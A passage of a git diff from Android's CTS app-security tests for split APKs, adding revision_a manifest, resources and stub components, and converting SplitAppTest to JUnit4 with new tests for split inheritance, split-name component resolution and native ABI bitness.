+     xmlns:tools="http://schemas.android.com/tools"
+     package="com.android.cts.splitapp"
+     android:targetSandboxVersion="2">
+
+    <!-- The androidx test libraries uses minSdkVersion 14. Applies an overrideLibrary rule here
+         to pass the build error, since tests need to use minSdkVersion 4. -->
+    <uses-sdk android:minSdkVersion="4" tools:overrideLibrary=
+        "androidx.test.runner, androidx.test.rules, androidx.test.monitor, androidx.test.services.storage"/>
+
+    <!-- Remove the CAMERA permission
+    <uses-permission android:name="android.permission.CAMERA"/> -->
+    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
+    <!-- Add the VIBRATE permission -->
+    <uses-permission android:name="android.permission.VIBRATE"/>
+
+    <application android:label="SplitApp"
+         android:multiArch="true">
+        <!-- Updates to .revision_a.MyActivity -->
+        <activity android:name=".revision_a.MyActivity"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+            <meta-data android:name="android.service.wallpaper"
+                 android:resource="@xml/my_activity_meta"/>
+        </activity>
+        <activity android:name=".ThemeActivity" android:theme="@style/Theme_Base"
+                  android:exported="false">
+            <intent-filter>
+                <action android:name="com.android.cts.splitapp.intent.THEME_TEST"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+        <!-- Updates to .revision_a.MyReceiver -->
+        <receiver android:name=".revision_a.MyReceiver"
+             android:enabled="@bool/my_receiver_enabled"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.DATE_CHANGED"/>
+            </intent-filter>
+        </receiver>
+        <receiver android:name=".LockedBootReceiver"
+             android:exported="true"
+             android:directBootAware="true">
+            <intent-filter>
+                <action android:name="android.intent.action.LOCKED_BOOT_COMPLETED"/>
+            </intent-filter>
+        </receiver>
+        <receiver android:name=".BootReceiver"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.BOOT_COMPLETED"/>
+            </intent-filter>
+        </receiver>
+
+        <!-- Updates to .revision_a.MyProvider -->
+        <provider android:name=".revision_a.MyProvider"
+             android:authorities="com.android.cts.splitapp"
+             android:exported="true"
+             android:directBootAware="true">
+        </provider>
+
+        <uses-library android:name="android.test.runner"/>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.cts.splitapp"/>
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/assets/dir/dirfileA.txt b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/assets/dir/dirfileA.txt
new file mode 100644
index 0000000..5303667
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/assets/dir/dirfileA.txt
@@ -0,0 +1 @@
+DIRFILEA
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/assets/fileA.txt b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/assets/fileA.txt
new file mode 100644
index 0000000..79d2b95
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/assets/fileA.txt
@@ -0,0 +1 @@
+FILEA
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/res/values/values.xml b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/res/values/values.xml
new file mode 100644
index 0000000..feeafea
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/res/values/values.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <bool name="my_receiver_enabled">true</bool>
+
+    <string name="my_string1">blue-revision</string>
+    <string name="my_string2">purple-revision</string>
+    <string name="my_new_string">new string</string>
+
+    <color name="my_color">#00FFFF</color>
+    <integer name="my_integer">456</integer>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyActivity.java b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyActivity.java
new file mode 100644
index 0000000..c2036db
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp.revision_a;
+
+import android.app.Activity;
+
+public class MyActivity extends Activity {
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyProvider.java b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyProvider.java
new file mode 100644
index 0000000..ea22de6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyProvider.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp.revision_a;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+
+public class MyProvider extends ContentProvider {
+    public static boolean sCreated = false;
+
+    @Override
+    public boolean onCreate() {
+        sCreated = true;
+        return true;
+    }
+
+    @Override
+    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+            String sortOrder) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public String getType(Uri uri) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public Uri insert(Uri uri, ContentValues values) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public int delete(Uri uri, String selection, String[] selectionArgs) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+        throw new UnsupportedOperationException();
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyReceiver.java b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyReceiver.java
new file mode 100644
index 0000000..2a7f180
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/revision_a/src/com/android/cts/splitapp/revision_a/MyReceiver.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp.revision_a;
+
+import com.android.cts.splitapp.BaseBootReceiver;
+
+public class MyReceiver extends BaseBootReceiver {
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/Native.java b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/Native.java
index 080053a..8759068 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/Native.java
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/Native.java
@@ -23,4 +23,10 @@
 
     public static native int add(int a, int b);
     public static native String arch();
+    public static native int sub(int a, int b);
+    public static native int getAbiBitness();
+    public static native int getNumberAViaProxy();
+    public static native int getNumberBViaProxy();
+    public static native int getNumberADirectly();
+    public static native int getNumberBDirectly();
 }
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
index 15aa05e..bd8e202 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
@@ -16,14 +16,26 @@
 
 package com.android.cts.splitapp;
 
+import static com.google.common.truth.Truth.assertThat;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertNull;
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+
+import static org.junit.Assert.assertNotSame;
 import static org.xmlpull.v1.XmlPullParser.END_DOCUMENT;
 import static org.xmlpull.v1.XmlPullParser.START_TAG;
 
+import android.app.Activity;
 import android.content.BroadcastReceiver;
+import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.content.pm.ApplicationInfo;
+import android.content.pm.ComponentInfo;
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
 import android.content.pm.ProviderInfo;
@@ -36,17 +48,27 @@
 import android.graphics.Canvas;
 import android.graphics.drawable.Drawable;
 import android.net.Uri;
+import android.os.Build;
 import android.os.ConditionVariable;
 import android.os.Environment;
 import android.system.Os;
 import android.system.StructStat;
-import android.test.AndroidTestCase;
 import android.test.MoreAsserts;
 import android.util.DisplayMetrics;
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.SystemUtil;
+import com.android.cts.splitapp.TestThemeHelper.ThemeColors;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 import org.xmlpull.v1.XmlPullParser;
 import org.xmlpull.v1.XmlPullParserException;
 
@@ -60,21 +82,56 @@
 import java.io.InputStreamReader;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
+import java.util.Arrays;
 import java.util.List;
 import java.util.Locale;
+import java.util.stream.Collectors;
 
-public class SplitAppTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class SplitAppTest {
     private static final String TAG = "SplitAppTest";
     private static final String PKG = "com.android.cts.splitapp";
+    private static final String NORESTART_PKG = "com.android.cts.norestart";
 
     private static final long MB_IN_BYTES = 1 * 1024 * 1024;
 
     public static boolean sFeatureTouched = false;
     public static String sFeatureValue = null;
 
+    private static final String BASE_THEME_ACTIVITY = ".ThemeActivity";
+    private static final String WARM_THEME_ACTIVITY = ".WarmThemeActivity";
+    private static final String ROSE_THEME_ACTIVITY = ".RoseThemeActivity";
+
+    private static final ComponentName FEATURE_WARM_EMPTY_PROVIDER_NAME =
+            ComponentName.createRelative(PKG, ".feature.warm.EmptyProvider");
+    private static final ComponentName FEATURE_WARM_EMPTY_SERVICE_NAME =
+            ComponentName.createRelative(PKG, ".feature.warm.EmptyService");
+
+    private static final Uri INSTANT_APP_NORESTART_URI = Uri.parse(
+            "https://cts.android.com/norestart");
+
+    @Rule
+    public ActivityTestRule<Activity> mActivityRule =
+            new ActivityTestRule<>(Activity.class, true /*initialTouchMode*/,
+                    false /*launchActivity*/);
+
+    @Before
+    public void setUp() {
+        setAppLinksUserSelection(NORESTART_PKG, INSTANT_APP_NORESTART_URI.getHost(),
+                true /*enabled*/);
+    }
+
+    @After
+    public void tearDown() {
+        setAppLinksUserSelection(NORESTART_PKG, INSTANT_APP_NORESTART_URI.getHost(),
+                false /*enabled*/);
+    }
+
+    @Test
     public void testNothing() throws Exception {
     }
 
+    @Test
     public void testSingleBase() throws Exception {
         final Resources r = getContext().getResources();
         final PackageManager pm = getContext().getPackageManager();
@@ -116,6 +173,13 @@
         assertEquals(1, result.size());
         assertEquals("com.android.cts.splitapp.MyActivity", result.get(0).activityInfo.name);
 
+        // Activity with split name `feature_warm` cannot be found.
+        intent = new Intent("com.android.cts.splitapp.intent.SPLIT_NAME_TEST");
+        intent.setPackage(PKG);
+        assertThat(pm.queryIntentActivities(intent, 0).stream().noneMatch(
+                info -> info.activityInfo.name.equals(
+                        "com.android.cts.splitapp.feature.warm.EmptyActivity"))).isTrue();
+
         // Receiver disabled by default in base
         intent = new Intent(Intent.ACTION_DATE_CHANGED);
         intent.setPackage(PKG);
@@ -131,6 +195,7 @@
         }
     }
 
+    @Test
     public void testDensitySingle() throws Exception {
         final Resources r = getContext().getResources();
 
@@ -143,6 +208,7 @@
         assertEquals(0xff7e00ff, getDrawableColor(d));
     }
 
+    @Test
     public void testDensityAll() throws Exception {
         final Resources r = getContext().getResources();
 
@@ -164,6 +230,7 @@
         assertEquals(0xffff0000, getDrawableColor(r.getDrawable(R.drawable.image)));
     }
 
+    @Test
     public void testDensityBest1() throws Exception {
         final Resources r = getContext().getResources();
 
@@ -172,6 +239,7 @@
         assertEquals(0xff7e00ff, getDrawableColor(r.getDrawable(R.drawable.image)));
     }
 
+    @Test
     public void testDensityBest2() throws Exception {
         final Resources r = getContext().getResources();
 
@@ -180,6 +248,7 @@
         assertEquals(0xffff0000, getDrawableColor(r.getDrawable(R.drawable.image)));
     }
 
+    @Test
     public void testApi() throws Exception {
         final Resources r = getContext().getResources();
         final PackageManager pm = getContext().getPackageManager();
@@ -196,6 +265,7 @@
         assertEquals("com.android.cts.splitapp.MyReceiver", result.get(0).activityInfo.name);
     }
 
+    @Test
     public void testLocale() throws Exception {
         final Resources r = getContext().getResources();
 
@@ -212,6 +282,7 @@
         assertEquals("pourpre", r.getString(R.string.my_string2));
     }
 
+    @Test
     public void testNative() throws Exception {
         Log.d(TAG, "testNative() thinks it's using ABI " + Native.arch());
 
@@ -219,7 +290,56 @@
         assertEquals(11642, Native.add(4933, 6709));
     }
 
-    public void testFeatureBase() throws Exception {
+    @Test
+    public void testNativeRevision_sub_shouldImplementBadly() throws Exception {
+        assertNotSame(1, Native.sub(0, -1));
+    }
+
+    @Test
+    public void testNativeRevision_sub_shouldImplementWell() throws Exception {
+        assertEquals(1, Native.sub(0, -1));
+    }
+
+    @Test
+    public void testNative64Bit() throws Exception {
+        Log.d(TAG, "The device supports 32Bit ABIs \""
+                + Arrays.deepToString(Build.SUPPORTED_32_BIT_ABIS) + "\" and 64Bit ABIs \""
+                + Arrays.deepToString(Build.SUPPORTED_64_BIT_ABIS) + "\"");
+
+        assertThat(Native.getAbiBitness()).isEqualTo(64);
+    }
+
+    @Test
+    public void testNative32Bit() throws Exception {
+        Log.d(TAG, "The device supports 32Bit ABIs \""
+                + Arrays.deepToString(Build.SUPPORTED_32_BIT_ABIS) + "\" and 64Bit ABIs \""
+                + Arrays.deepToString(Build.SUPPORTED_64_BIT_ABIS) + "\"");
+
+        assertThat(Native.getAbiBitness()).isEqualTo(32);
+    }
+
+    @Test
+    public void testNative_getNumberADirectly_shouldBeSeven() throws Exception {
+        assertThat(Native.getNumberADirectly()).isEqualTo(7);
+    }
+
+    @Test
+    public void testNative_getNumberAViaProxy_shouldBeSeven() throws Exception {
+        assertThat(Native.getNumberAViaProxy()).isEqualTo(7);
+    }
+
+    @Test
+    public void testNative_getNumberBDirectly_shouldBeEleven() throws Exception {
+        assertThat(Native.getNumberBDirectly()).isEqualTo(11);
+    }
+
+    @Test
+    public void testNative_getNumberBViaProxy_shouldBeEleven() throws Exception {
+        assertThat(Native.getNumberBViaProxy()).isEqualTo(11);
+    }
+
+    @Test
+    public void testFeatureWarmBase() throws Exception {
         final Resources r = getContext().getResources();
         final PackageManager pm = getContext().getPackageManager();
 
@@ -236,9 +356,9 @@
 
         // And that we can access resources from feature
         assertEquals("red", r.getString(r.getIdentifier(
-                "com.android.cts.splitapp.feature:feature_string", "string", PKG)));
+                "com.android.cts.splitapp.feature_warm:feature_string", "string", PKG)));
         assertEquals(123, r.getInteger(r.getIdentifier(
-                "com.android.cts.splitapp.feature:feature_integer", "integer", PKG)));
+                "com.android.cts.splitapp.feature_warm:feature_integer", "integer", PKG)));
 
         final Class<?> featR = Class.forName("com.android.cts.splitapp.FeatureR");
         final int boolId = (int) featR.getDeclaredField("feature_receiver_enabled").get(null);
@@ -307,6 +427,13 @@
             fail("Whaaa, we somehow gained permission from feature?");
         } catch (SecurityException expected) {
         }
+
+        // Assert that activity declared in the base can be found after feature_warm installed
+        intent = new Intent("com.android.cts.splitapp.intent.SPLIT_NAME_TEST");
+        intent.setPackage(PKG);
+        assertThat(pm.queryIntentActivities(intent, 0).stream().anyMatch(
+                resolveInfo -> resolveInfo.activityInfo.name.equals(
+                        "com.android.cts.splitapp.feature.warm.EmptyActivity"))).isTrue();
     }
 
     private Intent createLaunchIntent() {
@@ -315,7 +442,7 @@
         if (isInstant) {
             final Intent i = new Intent(Intent.ACTION_VIEW);
             i.addCategory(Intent.CATEGORY_BROWSABLE);
-            i.setData(Uri.parse("https://cts.android.com/norestart"));
+            i.setData(INSTANT_APP_NORESTART_URI);
             i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
             return i;
         } else {
@@ -326,6 +453,7 @@
         }
     }
 
+    @Test
     public void testBaseInstalled() throws Exception {
         final ConditionVariable cv = new ConditionVariable();
         final BroadcastReceiver r = new BroadcastReceiver() {
@@ -333,6 +461,7 @@
             public void onReceive(Context context, Intent intent) {
                 assertEquals(1, intent.getIntExtra("CREATE_COUNT", -1));
                 assertEquals(0, intent.getIntExtra("NEW_INTENT_COUNT", -1));
+                assertNull(intent.getStringExtra("RESOURCE_CONTENT"));
                 cv.open();
             }
         };
@@ -350,6 +479,7 @@
      * Prior to running this test, the activity must be started. That is currently
      * done in {@link #testBaseInstalled()}.
      */
+    @Test
     public void testFeatureInstalled() throws Exception {
         final ConditionVariable cv = new ConditionVariable();
         final BroadcastReceiver r = new BroadcastReceiver() {
@@ -357,6 +487,7 @@
             public void onReceive(Context context, Intent intent) {
                 assertEquals(1, intent.getIntExtra("CREATE_COUNT", -1));
                 assertEquals(1, intent.getIntExtra("NEW_INTENT_COUNT", -1));
+                assertEquals("Hello feature!", intent.getStringExtra("RESOURCE_CONTENT"));
                 cv.open();
             }
         };
@@ -368,7 +499,8 @@
         getContext().unregisterReceiver(r);
     }
 
-    public void testFeatureApi() throws Exception {
+    @Test
+    public void testFeatureWarmApi() throws Exception {
         final Resources r = getContext().getResources();
         final PackageManager pm = getContext().getPackageManager();
 
@@ -377,7 +509,7 @@
 
         // And that we can access resources from feature
         assertEquals(321, r.getInteger(r.getIdentifier(
-                "com.android.cts.splitapp.feature:feature_integer", "integer", PKG)));
+                "com.android.cts.splitapp.feature_warm:feature_integer", "integer", PKG)));
 
         final Class<?> featR = Class.forName("com.android.cts.splitapp.FeatureR");
         final int boolId = (int) featR.getDeclaredField("feature_receiver_enabled").get(null);
@@ -394,10 +526,119 @@
         assertEquals(0, result.size());
     }
 
+    @Test
+    public void testInheritUpdatedBase_withRevisionA() throws Exception {
+        final Resources r = getContext().getResources();
+        final PackageManager pm = getContext().getPackageManager();
+
+        // Resources should have been updated
+        assertEquals(true, r.getBoolean(R.bool.my_receiver_enabled));
+
+        assertEquals("blue-revision", r.getString(R.string.my_string1));
+        assertEquals("purple-revision", r.getString(R.string.my_string2));
+
+        assertEquals(0xff00ffff, r.getColor(R.color.my_color));
+        assertEquals(456, r.getInteger(R.integer.my_integer));
+
+        // Also, new resources could be found
+        assertEquals("new string", r.getString(r.getIdentifier(
+                "my_new_string", "string", PKG)));
+
+        assertAssetContents(r, "fileA.txt", "FILEA");
+        assertAssetContents(r, "dir/dirfileA.txt", "DIRFILEA");
+
+        // Activity of ACTION_MAIN should have been updated to .revision_a.MyActivity
+        Intent intent = new Intent(Intent.ACTION_MAIN);
+        intent.addCategory(Intent.CATEGORY_LAUNCHER);
+        intent.setPackage(PKG);
+        final List<String> activityNames = pm.queryIntentActivities(intent, 0).stream()
+                .map(info -> info.activityInfo.name).collect(Collectors.toList());
+        assertThat(activityNames).contains("com.android.cts.splitapp.revision_a.MyActivity");
+
+        // Receiver of DATE_CHANGED should have been updated to .revision_a.MyReceiver
+        intent = new Intent(Intent.ACTION_DATE_CHANGED);
+        intent.setPackage(PKG);
+        final List<String> receiverNames = pm.queryBroadcastReceivers(intent, 0).stream()
+                .map(info -> info.activityInfo.name).collect(Collectors.toList());
+        assertThat(receiverNames).contains("com.android.cts.splitapp.revision_a.MyReceiver");
+
+        // Provider should have been updated to .revision_a.MyProvider
+        final ProviderInfo info = pm.resolveContentProvider("com.android.cts.splitapp", 0);
+        assertEquals("com.android.cts.splitapp.revision_a.MyProvider", info.name);
+
+        // And assert that we spun up the provider in this process
+        final Class<?> provider = Class.forName("com.android.cts.splitapp.revision_a.MyProvider");
+        final Field field = provider.getDeclaredField("sCreated");
+        assertTrue("Expected provider to have been created", (boolean) field.get(null));
+
+        // Camera permission has been removed
+        try {
+            getContext().enforceCallingOrSelfPermission(android.Manifest.permission.CAMERA, null);
+            fail("Camera permission should not be granted");
+        } catch (SecurityException expected) {
+        }
+
+        // New Vibrate permision should be granted
+        getContext().enforceCallingOrSelfPermission(android.Manifest.permission.VIBRATE, null);
+    }
+
+    @Test
+    public void testInheritUpdatedSplit_withRevisionA() throws Exception {
+        final Resources r = getContext().getResources();
+        final PackageManager pm = getContext().getPackageManager();
+
+        // Resources should have been updated
+        assertEquals("red-revision", r.getString(r.getIdentifier(
+                "com.android.cts.splitapp.feature_warm:feature_string", "string", PKG)));
+        assertEquals(456, r.getInteger(r.getIdentifier(
+                "com.android.cts.splitapp.feature_warm:feature_integer", "integer", PKG)));
+
+        // Also, new resources could be found
+        assertEquals("feature new string", r.getString(r.getIdentifier(
+                "com.android.cts.splitapp.feature_warm:feature_new_string", "string", PKG)));
+
+        assertAssetContents(r, "fileFA.txt", "FILE_FA");
+        assertAssetContents(r, "dir/dirfileFA.txt", "DIRFILE_FA");
+
+        // Activity of ACTION_MAIN should have been updated to .revision_a.FeatureActivity
+        Intent intent = new Intent(Intent.ACTION_MAIN);
+        intent.addCategory(Intent.CATEGORY_LAUNCHER);
+        intent.setPackage(PKG);
+        final List<String> activityNames = pm.queryIntentActivities(intent, 0).stream()
+                .map(info -> info.activityInfo.name).collect(Collectors.toList());
+        assertThat(activityNames).contains("com.android.cts.splitapp.revision_a.FeatureActivity");
+
+        // Receiver of DATE_CHANGED could not be found
+        intent = new Intent(Intent.ACTION_DATE_CHANGED);
+        intent.setPackage(PKG);
+        final List<String> receiverNames = pm.queryBroadcastReceivers(intent, 0).stream()
+                .map(info -> info.activityInfo.name).collect(Collectors.toList());
+        assertThat(receiverNames).doesNotContain("com.android.cts.splitapp.FeatureReceiver");
+
+        // Service of splitapp should have been updated to .revision_a.FeatureService
+        intent = new Intent("com.android.cts.splitapp.service");
+        intent.setPackage(PKG);
+        final List<String> serviceNames = pm.queryIntentServices(intent, 0).stream()
+                .map(info -> info.serviceInfo.name).collect(Collectors.toList());
+        assertThat(serviceNames).contains("com.android.cts.splitapp.revision_a.FeatureService");
+
+        // Provider should have been updated to .revision_a.FeatureProvider
+        final ProviderInfo info = pm.resolveContentProvider(
+                "com.android.cts.splitapp.provider", 0);
+        assertEquals("com.android.cts.splitapp.revision_a.FeatureProvider", info.name);
+
+        // And assert that we spun up the provider in this process
+        final Class<?> provider = Class.forName(
+                "com.android.cts.splitapp.revision_a.FeatureProvider");
+        final Field field = provider.getDeclaredField("sCreated");
+        assertTrue("Expected provider to have been created", (boolean) field.get(null));
+    }
+
     /**
      * Write app data in a number of locations that expect to remain intact over
      * long periods of time, such as across app moves.
      */
+    @Test
     public void testDataWrite() throws Exception {
         final String token = String.valueOf(android.os.Process.myUid());
         writeString(getContext().getFileStreamPath("my_int"), token);
@@ -416,6 +657,7 @@
     /**
      * Verify that data written by {@link #testDataWrite()} is still intact.
      */
+    @Test
     public void testDataRead() throws Exception {
         final String token = String.valueOf(android.os.Process.myUid());
         assertEquals(token, readString(getContext().getFileStreamPath("my_int")));
@@ -443,6 +685,7 @@
     /**
      * Verify that app is installed on internal storage.
      */
+    @Test
     public void testDataInternal() throws Exception {
         final StructStat internal = Os.stat(Environment.getDataDirectory().getAbsolutePath());
         final StructStat actual = Os.stat(getContext().getFilesDir().getAbsolutePath());
@@ -452,17 +695,20 @@
     /**
      * Verify that app is not installed on internal storage.
      */
+    @Test
     public void testDataNotInternal() throws Exception {
         final StructStat internal = Os.stat(Environment.getDataDirectory().getAbsolutePath());
         final StructStat actual = Os.stat(getContext().getFilesDir().getAbsolutePath());
         MoreAsserts.assertNotEqual(internal.st_dev, actual.st_dev);
     }
 
+    @Test
     public void testPrimaryDataWrite() throws Exception {
         final String token = String.valueOf(android.os.Process.myUid());
         writeString(new File(getContext().getExternalFilesDir(null), "my_ext"), token);
     }
 
+    @Test
     public void testPrimaryDataRead() throws Exception {
         final String token = String.valueOf(android.os.Process.myUid());
         assertEquals(token, readString(new File(getContext().getExternalFilesDir(null), "my_ext")));
@@ -471,6 +717,7 @@
     /**
      * Verify shared storage behavior when on internal storage.
      */
+    @Test
     public void testPrimaryInternal() throws Exception {
         assertTrue("emulated", Environment.isExternalStorageEmulated());
         assertFalse("removable", Environment.isExternalStorageRemovable());
@@ -480,6 +727,7 @@
     /**
      * Verify shared storage behavior when on physical storage.
      */
+    @Test
     public void testPrimaryPhysical() throws Exception {
         assertFalse("emulated", Environment.isExternalStorageEmulated());
         assertTrue("removable", Environment.isExternalStorageRemovable());
@@ -489,6 +737,7 @@
     /**
      * Verify shared storage behavior when on adopted storage.
      */
+    @Test
     public void testPrimaryAdopted() throws Exception {
         assertTrue("emulated", Environment.isExternalStorageEmulated());
         assertTrue("removable", Environment.isExternalStorageRemovable());
@@ -498,6 +747,7 @@
     /**
      * Verify that shared storage is unmounted.
      */
+    @Test
     public void testPrimaryUnmounted() throws Exception {
         MoreAsserts.assertNotEqual(Environment.MEDIA_MOUNTED,
                 Environment.getExternalStorageState());
@@ -506,6 +756,7 @@
     /**
      * Verify that shared storage lives on same volume as app.
      */
+    @Test
     public void testPrimaryOnSameVolume() throws Exception {
         final File current = getContext().getFilesDir();
         final File primary = Environment.getExternalStorageDirectory();
@@ -519,16 +770,19 @@
         }
     }
 
+    @Test
     public void testCodeCacheWrite() throws Exception {
         assertTrue(new File(getContext().getFilesDir(), "normal.raw").createNewFile());
         assertTrue(new File(getContext().getCodeCacheDir(), "cache.raw").createNewFile());
     }
 
+    @Test
     public void testCodeCacheRead() throws Exception {
         assertTrue(new File(getContext().getFilesDir(), "normal.raw").exists());
         assertFalse(new File(getContext().getCodeCacheDir(), "cache.raw").exists());
     }
 
+    @Test
     public void testRevision0_0() throws Exception {
         final PackageInfo info = getContext().getPackageManager()
                 .getPackageInfo(getContext().getPackageName(), 0);
@@ -537,6 +791,7 @@
         assertEquals(0, info.splitRevisionCodes[0]);
     }
 
+    @Test
     public void testRevision12_0() throws Exception {
         final PackageInfo info = getContext().getPackageManager()
                 .getPackageInfo(getContext().getPackageName(), 0);
@@ -545,6 +800,7 @@
         assertEquals(0, info.splitRevisionCodes[0]);
     }
 
+    @Test
     public void testRevision0_12() throws Exception {
         final PackageInfo info = getContext().getPackageManager()
                 .getPackageInfo(getContext().getPackageName(), 0);
@@ -553,6 +809,142 @@
         assertEquals(12, info.splitRevisionCodes[0]);
     }
 
+    @Test
+    public void testComponentWithSplitName_singleBase() {
+        final PackageManager pm = getContext().getPackageManager();
+        final Intent intent = new Intent("com.android.cts.splitapp.intent.SPLIT_NAME_TEST");
+        intent.setPackage(PKG);
+
+        // Service with split name `feature_warm` cannot be found
+        List<ResolveInfo> resolveInfoList = pm.queryIntentServices(intent, 0);
+        assertThat(resolveInfoList.stream().noneMatch(resolveInfo -> getComponentName(resolveInfo)
+                .equals(FEATURE_WARM_EMPTY_SERVICE_NAME))).isTrue();
+
+        // Provider with split name `feature_warm` cannot be found
+        resolveInfoList = pm.queryIntentContentProviders(intent, 0);
+        assertThat(resolveInfoList.stream().noneMatch(resolveInfo -> getComponentName(resolveInfo)
+                .equals(FEATURE_WARM_EMPTY_PROVIDER_NAME))).isTrue();
+    }
+
+    @Test
+    public void testComponentWithSplitName_featureWarmInstalled() throws Exception {
+        final PackageManager pm = getContext().getPackageManager();
+        final Intent intent = new Intent("com.android.cts.splitapp.intent.SPLIT_NAME_TEST");
+        intent.setPackage(PKG);
+
+        // Service with split name `feature_warm` could be found
+        List<ResolveInfo> resolveInfoList = pm.queryIntentServices(intent, 0);
+        assertThat(resolveInfoList.stream().anyMatch(resolveInfo -> getComponentName(resolveInfo)
